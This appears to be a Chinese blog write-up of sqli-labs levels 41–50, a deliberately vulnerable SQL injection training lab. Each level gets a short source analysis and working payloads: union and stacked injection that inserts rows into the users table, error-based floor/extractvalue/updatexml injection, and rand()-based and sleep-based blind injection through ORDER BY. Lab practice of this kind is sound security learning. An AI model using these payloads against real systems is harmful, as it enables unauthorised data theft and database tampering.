sqli-labs(41-50)

人过留名,雁过留声
人生天地间,凡有大动静处
必有猪头

Less 41

① 源码分析

参数直接获取
参数直接拼接(数字型注入)
有数据回显
没有错误信息回显(也无伤大雅,构造的payload如果有错就没有回显而已)
mysqli_multi_query()堆叠注入

在这里插入图片描述

② 漏洞利用

可以先通过普通注入获取数据库,数据表,数据列,字段名
然后结合堆叠注入再进行进一步操作,思路和 Less39 差不多

1.普通注入

?id=0 union select 1,2,3

在这里插入图片描述

2.堆叠注入

?id=1;insert into users(id,username,password) values ('666','zhutou','zhutou'); 

在这里插入图片描述

Less 42

① 源码分析

username 被过滤;password 没有过滤
单引号引用参数(字符型注入)
mysqli_multi_query()堆叠注入

在这里插入图片描述

② 漏洞利用

password 没被过滤,可以在 password 处构造 payload
同样可以通过普通 sql 注入得知敏感信息,然后结合堆叠注入进行数据库操作
  1. 在 index.php 页面的表单随便提交参数,打开开发者工具(f12)查看参数提交方式。
    在这里插入图片描述

  2. 由于在 index.php 提交的参数要传到 login.php 文件进行操作,所以要在 login.php 页面进行 POST 提交参数操作。
    在这里插入图片描述

login_user=1&login_password=2';insert into users(id,username,password) values ('888','zhutou1','zhutou1'); --+

在这里插入图片描述

Less 43

源码分析

和 Less 42 差不多的思路,就是参数被单引号+括号引用,注意采取相应的方法闭合即可

在这里插入图片描述

Less 44

源码分析

和 Less 42 相比的区别就是没有 mysqli_error($con1) 错误信息回显。注入的思路和 Less 42 一致。

Less 45

源码分析

和 Less 43 相比的区别就是没有 mysqli_error($con1) 错误信息回显。注入的思路和 Less 43 一致。

Less 46

① 源码分析

order by 注入不比 union 注入,使用报错注入,rand(true/false),延时注入。
mysql_query()单语句操作
有错误信息回显

在这里插入图片描述

② 漏洞利用

sort=1 desc或者(1 asc),显示结果不同,则表明可以注入。(升序/降序)
报错注入:
floor 注入
extractvalue 注入
updatexml 注入
(PS:MySQL 5.1.5版本中添加了对XML文档进行查询和修改的两个函数:extractvalue、updatexml)

1. 升序

?sort=1 asc

在这里插入图片描述

2. 降序

?sort=1 desc

在这里插入图片描述

3. 报错注入

3.1 floor 注入
?sort=(select 1 from(select count(*),concat((database()),floor(rand(0)*2))x from information_schema.tables group by x)a)

在这里插入图片描述

3.2 extractvalue 注入
extractvalue(1,concat(0x7e,(database()),0x7e))

在这里插入图片描述

3.3 updatexml 注入
updatexml(1,concat(0x7e,(database()),0x7e),1)

在这里插入图片描述

Less 47

① 源码分析

和 Less 46 相比,参数被单引号引用(字符型注入)
有错误信息回显

在这里插入图片描述

② 漏洞利用

报错注入
注意单引号闭合和注释符使用

floor 注入

?sort=1' and (select 1 from(select count(*),concat((database()),floor(rand(0)*2))x from information_schema.tables group by x)a) --+

在这里插入图片描述
extractvalue 注入和 updatexml 注入同理可得。

Less 48

① 源码分析

和 Less 46 相比就是没有错误信息回显

② 漏洞利用

没有错误信息回显,所以不能使用报错注入
使用 rand(true/false) 对回显信息进行判断

1. rand(true) == rand(1)

?sort=rand(1)

在这里插入图片描述

2. rand(false) == rand(0)

?sort=rand(0)

在这里插入图片描述

3. 猜测数据库

如果当前数据库名的第一个字母的 ASCII 值大于0,则表格回显的格式和 rand(1) 一致;如果小于或等于0,则表格回显的格式和 rand(0) 一致。

?sort=rand(ascii(substring(database(),0,1))>0)

在这里插入图片描述

Less 49

① 源码分析

和 Less 48 相比,就是构造 sql 语句的时候对参数进行单引号引用并拼接

② 漏洞利用

单引号闭合
使用延时注入

每遍历一个条目延时1秒

?sort=1' and if(ascii(substring(database(),0,1))>0,1,sleep(1)) %23

Less 50

① 源码分析

order by 的堆叠注入

在这里插入图片描述

② 漏洞利用

可以利用 order by 的普通注入获取数据库敏感信息,然后使用堆叠注入对敏感信息加以利用。

向 users 表插入信息

?sort=1;insert into users(id,username,password) values ('886','zhutou8','zhutou8');

在这里插入图片描述

                                                                                                                                    猪头
                                                                                                                              2020.1.24
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值